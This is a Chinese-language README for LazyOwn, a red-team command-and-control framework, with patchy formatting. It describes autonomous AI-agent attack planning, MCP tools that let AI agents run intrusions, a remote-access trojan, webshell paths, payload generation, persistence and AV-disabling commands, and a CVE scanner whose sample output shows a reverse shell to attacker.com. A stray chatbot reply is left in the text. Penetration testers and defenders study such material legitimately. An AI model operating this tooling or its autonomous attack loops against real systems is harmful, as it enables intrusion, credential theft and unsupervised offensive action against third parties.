[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y2Z73AV)


LazyOwn 不提供任何担保。这是自由软件，你可以根据 GNU 通用公共许可证 v3 的条款重新分发它。
有关使用本软件的详细信息，请参阅 LICENSE 文件。

 # LazyOwn RedTeam Framework v0.2.161

LazyOwn 是一个专业的红队框架和命令与控制（C2）平台，专为渗透测试人员、红队和安全研究人员打造。它提供 741 个 CLI 命令、126 个别名、153 个面向 AI 代理的 MCP 工具、一个多操作员 Web C2 仪表板，以及 137 个 YAML/Lua 插件集成，覆盖 Linux、Windows、macOS 和 BSD 上的完整杀伤链。

**v0.2.161 新增内容：** 集成市场，包含 YARA 规则 + Nuclei 模板、`auto_pwn` 自主利用、用于威胁情报驱动侦察的 `hunt` 命令、命令后提示引擎、自动会话数据加密、游戏化 ELO/徽章，以及 7 个新的 APT 剧本。

## 三条命令快速上手

初次使用？这就是完整的入门路径。完整演练：[`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md)。```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh        # virtualenv + pinned dependencies + C2 certificates
./run                  # launches the shell; first run offers the setup wizard

然后，在 `(LazyOwn) >` shell 中：```text
doctor          # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard          # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping            # confirm the target is up and detect its OS
lazynmap        # full port + service scan

---

## 多操作员协作

LazyOwn 的协作层通过服务器发送事件（SSE）提供实时团队服务器功能。它在 `lazyc2.py` 启动时自动激活。

**浏览器仪表盘** — 在团队中任意浏览器中打开：```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>

**向所有操作员发布发现结果**：```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
  -H "Content-Type: application/json" \
  -d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'

| 端点 | 方法 | 描述 |
|---|---|---|
| `/collab/` | GET | 多操作员浏览器仪表盘 |
| `/collab/stream?operator=<name>` | GET (SSE) | 实时事件流 |
| `/collab/operators` | GET | 活跃操作员列表 |
| `/collab/publish` | POST | 广播结构化事件 |
| `/collab/lock` | POST | 获取建议性目标锁 |
| `/collab/unlock` | POST | 释放目标锁 |
| `/collab/locks` | GET | 所有活跃锁 |
| `/collab/history?n=100` | GET | 最近 N 个事件 |

从 CLI 使用：`collab_join <handle>` 会打印指定操作员的所有 URL。

---

## MCP 快速开始

LazyOwn 通过 Model Context Protocol (MCP) 暴露其完整框架。同一服务器可与 Claude Code、Claude Desktop、Hermes Agent 和 OpenCode 配合使用——选择与你的环境匹配的集成方式。

### Claude Code```bash
bash scripts/setup_hermes_mcp.sh

安装 slash 命令（可选）：```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md

然后使用 `/reload-mcp` 在 Hermes 中重新加载 MCP 工具。

完整的 Hermes 集成指南请参见 `skills/hermes-lazyown/README.md`。

### OpenCode

LazyOwn 通过 **LazyOwnOpenCodeAdapter** 对 OpenCode 友好：```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build

颜色名称会根据 `ColorRegistry` 进行校验，字形字符会根据 `GlyphRegistry` 进行校验；任何未知内容都会静默回退到工厂默认值，因此格式错误的负载永远不会破坏提示符。

### 图感知导航 — 来自 graphify 的操作员 + 代理 UX

`cli/graph_advisor.py` 加载由 [`/graphify`](https://graphify.dev) 在 LazyOwn 源代码树上生成的知识图谱（`graphify-out/graph_lazyown.json` — 约 1500 个节点，约 2900 条边，14 个社区），并将其暴露给 cmd2 shell 和 MCP 服务器。该顾问是一个单文件 SOLID 栈 — `GraphLoader`（mtime 缓存的文件 IO）、`GraphIndex`（内存中的邻接 / 度数 / 社区索引）、`GraphScorer`（纯排序原语）、`GraphAdvisor`（编排器）— 所有常量都保存在 `GraphAdvisorConfig` 数据类上。

**操作员命令（cmd2 shell）**

| 命令 | 用途 |
|---------|---------|
| `graph_search <query> [limit]` | 按标签、id 或源文件模糊搜索节点。 |
| `neighbors <node> [depth] [limit]` | 从节点向外遍历图，并显示边关系 / 置信度。 |
| `god_nodes [N]` | 显示连接最多的节点 — 框架的核心抽象。 |
| `suggest_next [seeds…] [N]` | 通过从最近活动向外遍历来推荐下一步命令。没有种子时，它会读取 `sessions/LazyOwn_session_report.csv` 并从那里获取种子。 |

shell 的 `default()` 钩子现在会将未知的 `do_*` 命令通过同一个顾问以及现有的 `FuzzyCommandIndex` 处理，因此输入 `ddo_lazynmap` 的操作员会立即看到 *"Did you mean: do_lazynmap, do_lazynmap_quick, …?"*，然后才出现提示。

**MCP 工具（Claude Code、Claude web、任何 MCP 代理）**

| 工具 | 用途 |
|------|---------|
| `lazyown_graph_summary` | 节点 / 边 / 社区计数以及解析后的图路径。 |
| `lazyown_graph_search` | 带 `budget_tokens` 上限的模糊节点搜索，因此 JSON 响应永远不会撑爆代理的上下文窗口。 |
| `lazyown_graph_neighbors` | 带边关系和置信度的分层邻接遍历 — 经典的“X 依赖什么？”查询。 |
| `lazyown_graph_suggest_next` | 下一步推荐；接受显式的 `recent` 列表或读取会话记录。 |

每个 MCP 图工具都会就地裁剪列表字段以适配 `budget_tokens`（默认 1500）。当图缺失时，每个工具都会返回 `{"available": false, "reason": "..."}` 而不是崩溃 — 操作员会被告知运行一次 `/graphify .`，然后一切就开始正常工作。

该顾问按 `(path, mtime)` 进行缓存，因此新的 `/graphify` 重建会在下一次 CLI 命令或 MCP 调用时自动被拾取，而无需重启 shell 或 MCP 服务器。参见 `tests/test_graph_advisor.py` 中覆盖加载器、索引、评分器以及完整顾问 API 的 20 个单元测试。

### 内联响应式提示 — 非阻塞的下一步建议

`cli/reactive_hints.py` 通过 `register_postcmd_hook` 挂接到 cmd2 命令后管道，并在每个命令输出下方、下一个提示符出现之前打印一行暗淡的提示：```
  ↳ do_gobuster · do_enum4linux · do_ffuf

它在打开时会阻塞 shell（类似于 `htop` 或 `lazygit`）。按 **Q** 或
Ctrl-C 关闭并返回 cmd2 提示符。

**布局**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5  ATTACKER 10.10.14.5  DOMAIN target.htb  PHASE RECON  OS  │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│  Kill Chain         │  Recent Commands                │  Ops                │
│  ✔ Recon            │  ● lazynmap        2026-05-11   │  Objective:         │
│  ▶ Enum             │  ● ping            2026-05-11   │  Initial Access     │
│  ○ Exploit          │  ● gobuster        2026-05-11   │                     │
│  ○ PrivEsc          │                                 │  Credentials: 0     │
│  ○ Lateral          │                                 │  Hashes: 0          │
│  ○ Exfil            │  Config                         │  Beacons: 0         │
│  ○ Report           │  Target: 10.10.11.5             │                     │
│                     │  C2 Port: 4444                  │                     │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│  ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto                   │
└──────────────────────────────────── [Q] Quit  [R] Refresh  [?] Help ────────┘

### Bot 命令

| 命令 | 描述 |
|---------|-------------|
| `/start <secret>` | 使用 `payload.json` 中的 C2 密钥进行身份验证 |
| `/cmd <command>` | 执行任意 LazyOwn shell 命令 |
| `/sitrep` | 完整的战役态势报告 |
| `/config [key] [val]` | 查看或设置 payload.json 值 |
| `/addcli <client_id>` | 设置活动的 C2 客户端 |
| `/clients` | 列出在线的 C2 植入体 |
| `/c2 <command>` | 向 C2 信标发送命令 |
| `/agent <goal>` | 运行自主 Groq/Ollama 代理 |
| `/delegate <goal>` | 将任务委托给 Hermes 子代理 |
| `/cron <schedule> <cmd>` | 安排周期性的 LazyOwn 命令 |
| `/status` | 显示守护进程和自主状态 |
| `/stop` | 停止任何正在运行的自主守护进程 |
| `/download <file>` | 从 sessions/ 下载文件 |
| 上传文档 | 将文件上传到 C2 信标 |

任何不以 `/` 为前缀的纯文本消息都被视为直接的 LazyOwn 命令。速率限制（每分钟 5 条命令）和会话超时（30 分钟）会被强制执行。

### 架构

该机器人使用与 MCP 服务器（`skills/lazyown_mcp.py`）相同的基于 PTY 的命令执行方式，因此每个 LazyOwn 命令、别名和插件都能正常工作，无需直接进行 Python 导入。自主任务（`/agent`、`/delegate`）通过 LazyOwn shell 启动 Groq 或 Ollama 代理，而 C2 命令（`/c2`、`/clients`）使用经过身份验证的 `/api/command` 和 `/get_connected_clients` 端点。

---

## 高级 AI 架构（MoE + RL + SWAN + Hive Mind）

LazyOwn 集成了一个世界级的多代理 AI 技术栈，能够在每次交战中自适应并不断改进：

### 专家混合（MoE）— `modules/moe_router.py`

五个 LLM 专家通过能力标签、基础权重和成本层级进行注册：

| 专家 | 后端 | 优势 |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | 侦察、枚举、快速决策 |
| `groq_powerful` | Groq llama-3.3-70b-versatile | 利用、后渗透、复杂推理 |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | 权限提升、逐步推理 |
| `ollama_reason` | Ollama deepseek-r1:1.5b | 离线、隐私安全、详细分析 |
| `groq_gemma` | Groq gemma2-9b-it | 横向移动、凭据分析 |

路由使用温度缩放的 softmax（`T = max(0.5, 1.5/(1+calls/50))`）对调整后的权重进行计算。权重通过每个专家奖励随时间的指数移动平均进行自我调整。

### 基于模型的强化学习（RLM）— `modules/rl_trainer.py`

表格型 Q-learning 在交战会话中训练路由策略：```
State:  (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw|    (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]

**检测方法：**

| 方法 | 检查内容 |
|--------|----------------|
| `ai_test` | LazyOwnBT ML 模型预测 |
| `proc_scan` | 可疑进程名称 |
| `net_scan` | 异常连接/端口 |
| `log_analyze` | 认证/syslog 异常 |
| `fim_scan` | 文件完整性变更 |
| `redteam_hunt` | 威胁狩猎模式 |
| `sigma_rules` | 10 条 Sigma 规则（mimikatz、反向 shell、提权、nmap、webshell、/etc/shadow、cron、SMB、数据外泄、注入） |

**Sigma 规则检测引擎**（LazyOwnBT `lazyownbt/detection.py`）：

| ID | 规则 | 级别 |
|----|------|-------|
| LAZYOWN-001 | Mimikatz 凭据转储 | critical |
| LAZYOWN-002 | 反向 Shell 模式 | critical |
| LAZYOWN-003 | 通过 Sudo 提权 | high |
| LAZYOWN-004 | 检测到 Nmap 扫描 | medium |
| LAZYOWN-005 | Webshell 执行 | critical |
| LAZYOWN-006 | 进程注入 | high |
| LAZYOWN-007 | /etc/shadow 访问 | critical |
| LAZYOWN-008 | Cron 持久化 | high |
| LAZYOWN-009 | SMB 横向移动 | high |
| LAZYOWN-010 | 数据外泄 | high |

**输出文件：**
- `sessions/purple_dataset.csv` — ML 训练数据集
- `sessions/purple_audit.jsonl` — 完整审计日志
- `sessions/detection_feedback.jsonl` — oracle 校准

**注意：** 生产环境中，请通过 auditd 日志转发与真实 SIEM（Wazuh、Elastic SIEM、Splunk）集成。内置 Sigma 规则仅用于离线测试。

### Hive Mind — `skills/hive_mind.py`

多智能体 queen+drone 架构，具有共享内存：
- **QueenBrain**（Claude）：高层编排 + 用于高风险操作的 ConsensusProtocol
- **DronePool**（Groq/Ollama）：并行执行 recon/exploit/cred/lateral/privesc 任务
- **HiveMemory**：ChromaDB 语义 + SQLite 情景 + Parquet 长期存储
- **EpisodeReflectionEngine**：战役后经验提取，存储为 `sessions/campaign_lessons.jsonl`

### 自主战役智能（ACI）— `skills/aci_planner.py`

**首个能够自主规划、执行和学习的 C2 框架。**

ACI 弥合了自然语言交战目标与完全自主执行循环之间的差距。没有任何竞争对手（Cobalt Strike、Sliver、Havoc、Metasploit）能够端到端地做到这一点：```
Operator: "Compromise the domain controller at corp.internal
           starting from a phishing foothold on 10.10.11.5"
         ↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
                 recon → exploit → exec → privesc → cred → lateral → report
         ↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
         ↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
         ↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
         ↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
         ↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
                 feeds back into the next engagement

**ACI 与其他工具相比的独特之处：**

- Cobalt Strike / Sliver / Havoc 是 C2 框架——操作员规划每一步
- Metasploit 有自动化但没有智能
- CALDERA 模拟固定的 ATT&CK 过程，但无法适应新环境
- **ACI 规划、执行、重新规划并学习——持续地，跨交战行动**

**持久化：**

| 文件 | 内容 |
|------|----------|
| `sessions/aci_plan.json` | 活动计划：阶段、目标、完成状态 |
| `sessions/aci_history.jsonl` | 已归档的已完成/已放弃计划 |
| `sessions/campaign_lessons.jsonl` | 由 ACIReflector 提取的经验教训 |

**CLI 用法（独立运行）：**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect

在守护进程中启用 SWAN：启动前执行 `export AUTO_USE_SWAN=1`。

ACI 馈入守护进程：由 `lazyown_aci_plan` 注入的目标会被 Role 1（ObjectiveLoop）自动拾取——无需额外配置。

### 基于图的推理 — `modules/world_model.py`

NetworkGraph 跟踪所有已发现的关系（主机、服务、凭据、信任路径），并计算归一化度中心性以浮现枢轴候选。前 3 个候选会被注入到每次 `to_context_string()` 调用中，确保自主循环始终知晓最高价值的横向移动目标。

## 授权范围守卫

一个从 `payload.json` 读取目标的红队框架存在一个尖锐的隐患：一个误写的 `rhost` 会向未授权主机发起攻击性命令。范围守卫就是安全网。每条交互式命令都流经单一检查点，在命令运行前将当前活动目标与你的授权交战范围进行比对。```bash
(LazyOwn) > scope add 10.10.11.0/24       # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce            # off | warn (default) | enforce
(LazyOwn) > scope                         # show current scope and posture

**已应用的关键修复：**
- 从 `anti_forensics.py`、`pivoting.py`、`icmp_server.py`、`resource_script.py`、`command_executor.py`、`postexp_migrated.py` 中消除了 `shell=True`（22 处）
- 从 `persist_migrated.py`、`cloud.py`、`lazyown.py`（4 处）、`misc_migrated.py` 中消除了 `os.system()`
- 从 `websocket_beacon.py`、`evasive_payload.py` 中消除了 `os.popen()`
- 在 4 个文件（C2、lateral、exfil、persist）中将 `sshpass -p` 替换为 `sshpass -e` + 环境变量
- 从 `phishing_orchestrator.py` 中移除了硬编码的加密密钥（`ENCRYPTION_KEY` 为强制项）
- 使用 `html.escape()` 修复了 C2 banner 中的 XSS
- 使用 `safe_clipboard_copy()` 修复了通过剪贴板中 rhost 进行的命令注入
- 将 cmd2 的 `CMD_ATTR_HELP_CATEGORY` 重命名为 `COMMAND_ATTR_HELP_CATEGORY`（兼容 cmd2 4.2.2）

---

## 命令能力

LazyOwn 在 13 个 kill-chain 阶段中提供了 741 条命令，可从 CLI 和 Web C2 仪表板中使用：

| 阶段 | 重点命令 |
|-------|-------------------|
| Recon | `lazynmap`、`ping`、`whatweb`、`gobuster`、`ffuf`、`dig`、`dnsenum`、`finalrecon` |
| Enum | `enum4linux`、`cme`、`bloodhound`、`nuclei`、`kerbrute`、`ldapdomaindump` |
| Exploit | `auto_pwn`、`hunt`、`ss`（searchsploit）、`venom`、`lazymsfvenom`、`searchhash` |
| Post-Exploit | `linpeas`、`winpeas`、`blacksandbeacon`、`mimikatzpy`、`disableav` |
| Persistence | `persist`、`backdoor`、`cron`、`schtask`、`createwebshell` |
| PrivEsc | `getcap`、`sudo`、`adcs_check`、`privesc_predictor` |
| Cred Access | `secretsdump`、`evil`、`getnpusers`、`hashcat`、`john`、`spraykatz` |
| Lateral | `psexec`、`wmiexec`、`ssh_cmd`、`chisel`、`ligolo`、`bloodhound` |
| Exfil | `exfil`、`upload_gofile`、`encrypt`/`decrypt`、`compressdir` |
| C2 | `lazyc2`、`blacksandbeacon`、`createrevshell`、`listener_go` |
| Reporting | `report`、`lazyreport`、`campaign_sitrep`、`timeline`、`dashboard` |
| AI/Agents | `auto_loop`、`recommend_next`、`playbook_generate`、`playbook_run`、`orchestrate` |
| Marketplace | `yara_marketplace`、`nuclei_marketplace`、`marketplace`、`lab` |

核心管理：`assign`、`show`、`doctor`、`wizard`、`scope`、`collab_join`、`config_banner`、`palette`、`fz`。

请参阅 [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) 获取完整的 606 条命令参考，以及 [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) 获取覆盖 80% 交战的 18 条命令。

# 使用 Lua 插件扩展 LazyOwnShell

本文档说明如何使用 Lua 脚本扩展 `LazyOwnShell` 应用程序的功能，该应用程序基于 Python 的 `cmd2` 框架构建。Lua 允许你编写自定义插件，以添加新命令、修改现有行为或访问应用程序数据。

![image](https://assets.kitploit.com/production/public/readmes/56369/c299c50e76da30a39158e7121eb350b9c906048783727107fb9ca556c5317878/f2fa2be6395535c04e8fe7e5630c65d7112913560e76ea2c6a6e0144be148795-display-v1.webp)

---

## 目录

1. [简介](#introduction)
2. [设置 Lua 插件](#setting-up-lua-plugins)
3. [编写 Lua 插件](#writing-lua-plugins)
4. [注册新命令](#registering-new-commands)
5. [访问应用程序数据](#accessing-application-data)
6. [错误处理](#error-handling)
7. [示例插件](#example-plugins)
8. [最佳实践](#best-practices)

---

## 1. 简介

`LazyOwnShell` 应用程序支持 Lua 脚本，允许用户在不修改核心 Python 代码的情况下扩展其功能。Lua 脚本（插件）存储在 `plugins/` 目录中，并在应用程序启动时自动加载。

Lua 插件可以：
- 向 shell 添加新命令。
- 修改现有命令或行为。
- 访问和操作由 Python 公开的应用程序数据。

---

## 2. 设置 Lua 插件

要使用 Lua 插件，请确保以下事项：

1. 在你的 Python 环境中安装 `lupa` 库：   ```bash
   pip install lupa

plugins/
     init_plugins.lua
     hello.lua
     goodbye.lua

-- Register the function as a command
register_command("my_command", my_command)

关键函数
- register_command(command_name, lua_function):
- 在 shell 中注册一个新命令。
- command_name：命令的名称（例如 hello）。
- lua_function：调用该命令时要执行的 Lua 函数。

3. 注册新命令

 要向 shell 添加新命令，请按照以下步骤操作：

- 定义一个实现命令逻辑的 Lua 函数。
- 使用 register_command 将该函数注册为命令。
- 示例：添加一个 hello 命令
- 创建一个文件 plugins/hello.lua，内容如下：   ```lua
 function hello(arg)
     local name = arg or "world"
     print("Hello, " .. name .. "!")
 end

 register_command("hello", hello)

高级配置```yaml
params:
  - name: "url"
    required: true
    description: "Target URL"
    default: "http://localhost"

  - name: "threads"
    required: false
    default: 4

参数替换
将命令中的 {param} 替换为来自以下来源的值：

- 命令参数

- 默认值

- self.params

- 帮助集成

help <command> 显示 YAML 描述。

模板```yaml
name: ""
enabled: true
description: ""

tool:
  name: ""
  repo_url: ""
  install_path: ""
  install_command: ""  # Optional
  execute_command: ""

params:
  - name: ""
    required: true/false
    default: ""
    description: ""

🚨 故障排除
缺少参数：验证 YAML 中的必填字段

安装失败：检查网络/git 访问权限

命令错误：验证 execute_command 语法


主要特性：
- 简洁的 GitHub 风格 markdown
- 仅专注于 YAML 插件
- 包含即用型模板
- 记录参数替换系统
- 提供故障排除提示

需要我添加任何具体示例或使用场景吗？

![LazyOwnGris3](https://assets.kitploit.com/production/public/readmes/56369/e33455dad0ebc6b7279e64d6befcf165ce82ef5d21df552c9c6207e517842ac6/f44814861f7107d595f4c1c2f543f527ae55c37bbd3146414a6050250ef1c7e4-display-v1.webp)


LazyOwn 在 Reddit 上

用 LazyOwn 彻底改变你的渗透测试：自动化对 Linux、MAC OSX 和 Windows 受害者的入侵

<https://www.reddit.com/r/LazyOwn/>


<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>

探索 LazyOwn，这是自动化渗透测试工作流程以攻击 Linux、MacOSX 和 Windows 系统的终极解决方案。我们强大的工具简化了渗透测试，使其更高效、更有效。观看此视频，了解 LazyOwn 如何简化你的安全评估并增强你的网络安全工具包。```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...

2. 安装 Python 依赖：```sh
./install.sh

## 使用示例

### 基本用法

```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com

# 使用详细输出进行扫描
python3 cve_2025_55182.py -t https://target.example.com -v

# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt -o results.json

# 使用自定义超时和线程数进行扫描
python3 cve_2025_55182.py -t https://target.example.com --timeout 15 --threads 20

# 使用代理进行扫描
python3 cve_2025_55182.py -t https://target.example.com --proxy http://127.0.0.1:8080

# 使用自定义 User-Agent 进行扫描
python3 cve_2025_55182.py -t https://target.example.com --user-agent "Mozilla/5.0"

# 使用自定义载荷进行扫描
python3 cve_2025_55182.py -t https://target.example.com --payload "custom_payload"

# 使用自定义回调 URL 进行扫描
python3 cve_2025_55182.py -t https://target.example.com --callback "https://your-server.com/callback"

用法: cve_2025_55182.py [-h] [-t TARGET] [-f FILE] [-o OUTPUT] [-v] [--timeout TIMEOUT]
                        [--threads THREADS] [--proxy PROXY] [--user-agent USER_AGENT]
                        [--payload PAYLOAD] [--callback CALLBACK]

选项:
  -h, --help            显示此帮助信息并退出
  -t TARGET, --target TARGET
                        要扫描的单个目标 URL
  -f FILE, --file FILE  包含目标 URL 的文件（每行一个）
  -o OUTPUT, --output OUTPUT
                        将结果保存到文件（JSON 格式）
  -v, --verbose         启用详细输出
  --timeout TIMEOUT     请求超时时间（秒）（默认：10）
  --threads THREADS     并发线程数（默认：10）
  --proxy PROXY         用于请求的代理 URL
  --user-agent USER_AGENT
                        自定义 User-Agent 字符串
  --payload PAYLOAD     用于测试的自定义载荷
  --callback CALLBACK   用于带外检测的自定义回调 URL

[+] 正在扫描: https://target.example.com
[+] 目标存在漏洞: CVE-2025-55182
[+] 载荷: /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
[+] 响应时间: 1.23s
[+] 状态: 易受攻击

{
  "target": "https://target.example.com",
  "vulnerable": true,
  "cve": "CVE-2025-55182",
  "payload": "/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'",
  "response_time": 1.23,
  "status": "vulnerable",
  "timestamp": "2025-01-15T10:30:00Z"
}

## YouTube 标签
<https://www.youtube.com/hashtag/lazyown>

## 播客
<https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ>

## DeepWiki
<https://deepwiki.com/grisuno/LazyOwn/>```sh
LazyOwn> assign binary_name my_binary
LazyOwn> assign rhost 192.168.1.100
LazyOwn> assign api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit

## 带 GUI 的搜索
附加功能与增强：
AutocompleteEntry：

已添加过滤器，用于从自动补全列表中移除 None 值。
新建攻击向量：

主界面中已添加“新建攻击向量”按钮。
已实现添加新攻击向量并将更新后的数据保存到 Parquet 文件的功能。
导出为 CSV：

主界面中已添加“导出为 CSV”按钮。
已实现将 DataFrame 数据导出到用户选择的 CSV 文件的功能。
用法：

添加新攻击向量：点击“新建攻击向量”按钮，填写字段并保存。
导出为 CSV：点击“导出为 CSV”按钮，并选择保存 CSV 文件的位置。
新函数 scan_system_for_binaries：

使用 file 命令实现系统范围的二进制文件搜索，以判断文件是否为二进制文件。
使用 os.walk 遍历文件系统。
结果显示在 GUI 中的新窗口内。
搜索二进制文件的按钮：

主界面中已添加“搜索系统中的二进制文件”按钮，该按钮会调用 scan_system_for_binaries 函数。
注意：

is_binary 函数使用 Unix 的 file 命令来判断文件是否为二进制可执行文件。如果你使用的是其他操作系统，则需要调整此方法以保持兼容性。
此实现可能会消耗大量资源，因为它会遍历整个文件系统。你可以考虑添加额外选项，将搜索限制到特定目录，或按特定文件类型进行过滤。```sh
python3 LazyOwnExplorer.py

如果你想更新，我们按以下步骤进行：```sh
cd LazyOwn
rm parquets/*.csv
rm parquets/*.parquet
./update_db.sh

y listo ya podemos acceder a cualquiera de estas url:

<http://localhost:8080/cgi-bin/lazywebshell.sh>

<http://localhost:8080/cgi-bin/lazywebshell.py>

<http://localhost:8080/cgi-bin/lazywebshell.asp>

<http://localhost:8080/cgi-bin/lazywebshell.cgi>

![image](https://assets.kitploit.com/production/public/readmes/56369/46d7b61ebc8f339f9ddf47b4587e3a3b2e658653754abe25a57d499da42bb54f/810e9f2ec3bc35e4f4a8fb64f8108a85c581bd0448d21b2cb2956b7c5b4814be-display-v1.webp)

## 使用 Lazy MSFVenom 进行反向 Shell

    执行 `msfvenom` 工具，根据用户输入生成各种 payload。

    此函数提示用户从预定义列表中选择一种 payload 类型，并运行相应的
    `msfvenom` 命令来创建所需的 payload。它处理诸如为 Linux、Windows、macOS 和 Android 系统
    生成不同类型的 payload 等任务，包括对 C payload 使用 Shikata Ga Nai 进行可选编码。

    生成的 payload 会被移动到 `sessions` 目录，并在其中设置适当的权限。此外，
    payload 可以使用 UPX 进行压缩以节省空间。如果选定的 payload 是 Android APK，
    该函数还会对 APK 进行签名并执行必要的后处理步骤。

    :param line: 脚本的命令行参数。
    :return: None```sh
run lazymsfvenom or venom

## 使用 LazyOwn RAT 模式

![image](https://assets.kitploit.com/production/public/readmes/56369/9402abc4a6c873096e3c6017e35f56d0f3c5f5c66cb15a8b4bc9b8a8d54385f7/c3430588984c7ec596fff9b5d7553c0dd773ee29fa26558af681f93cf5433de4-display-v1.webp)


LazyOwn RAT 是一个简单但功能强大的远程管理工具。它具有截屏功能，可以捕获服务器屏幕；具有上传命令，允许我们将文件上传到被入侵的机器；以及一个 C&C 模式，可以向服务器发送命令。它有两种运行模式：客户端模式和服务端模式。它没有进行任何混淆处理，该 RAT 基于 BasicRat。你可以在 GitHub 上找到它：https://github.com/awesome-security/basicRAT 以及 https://github.com/hash3liZer/SillyRAT。虽然后者功能全面得多，但我只是想实现屏幕截图捕获、文件上传和命令发送。也许将来我会添加摄像头查看功能，但那要等到以后再说。```sh
usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key

usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key

LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set

LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set

luego los comandos son:

upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

![image](https://assets.kitploit.com/production/public/readmes/56369/12418a4b1a619614f513a2824b0ed26b369099b463f6e4e58c6f01389c5647f5/24e93754e70d5adbfca3184e65afb178ee598f53a3375c8029e0356233a77d8c-display-v1.webp)

## 使用模式 解密 加密

一种加密方法，当然，如果我们拥有密钥，就可以用它来加密文件和解密文件。

![Captura de pantalla 2024-06-08 231900](https://assets.kitploit.com/production/public/readmes/56369/67b1d3295f0fc3ebe4d9103a458fd0683ba8d78a426fc36ebcdbe6cfd8c45c87/61ff68c807f4de0641fcc5e74f9d81403d84a8f7eea58a8401e4c6e9b360e76e-display-v1.webp)```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt

## LazyOwn GPT One Liner CLI 助手与研究器的使用

探索使用 LazyOwn GPT One Liner CLI 助手实现渗透测试任务自动化的革命！这个令人惊叹的脚本是 LazyOwn 工具套件的一部分，旨在让您作为渗透测试人员的生活更高效、更有成效。

主要功能：

智能自动化：利用 Groq 的强大功能和先进的自然语言模型，根据您的具体需求生成精确高效的命令。
用户友好界面：只需一个简单的提示，助手即可生成并执行单行脚本，大幅减少创建复杂命令所需的时间和精力。
持续改进：不断转换和优化其知识库，为您提供最佳解决方案，适应每种情况。
简化调试：启用调试模式以获取每一步的详细信息，便于识别和纠正错误。
无缝集成：在您的工作区内轻松运行，利用 Groq API 的强大功能提供快速准确的响应。
安全与控制：

安全的错误处理：智能检测并响应执行错误，确保您对每个生成的命令保持完全控制。
受控执行：在执行任何命令之前，它会请求您的确认，让您安心地确切知道系统上正在执行什么。
轻松配置：

在几秒钟内设置您的 API 密钥，开始享受 LazyOwn GPT One Liner CLI 助手提供的所有优势。快速入门指南可帮助您配置并最大化这一强大工具的潜力。

适合渗透测试人员和开发人员：

优化您的流程：简化并加速安全审计中的命令生成。
持续学习：知识库不断更新和改进，始终为您提供最新的最佳实践和解决方案。
使用 LazyOwn GPT One Liner CLI 助手，改变您的工作方式，使其更快、更高效、更安全。停止在重复和复杂的任务上浪费时间，专注于真正重要的事情：发现和解决漏洞！

加入 LazyOwn 的渗透测试革命，将您的生产力提升到新的水平！

[?] 用法：python lazygptcli.py --prompt "<your prompt>" [--debug]

[?] 选项：

--prompt "编程任务的提示（必需）。"
--debug, -d "启用调试模式以显示调试消息。"
--transform "使用 Groq 将原始知识库转换为增强型知识库。"
[?] 确保在运行脚本之前配置您的 API 密钥：
export GROQ_API_KEY=<your_api_key>
[->] 访问：https://console.groq.com/docs/quickstart（非赞助链接）

要求：

Python 3.x
有效的 Groq API 密钥
获取 Groq API 密钥的步骤：
访问 Groq Console (https://console.groq.com/docs/quickstart) 注册并获取 API 密钥。```sh
export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]

形式 2：高级用法

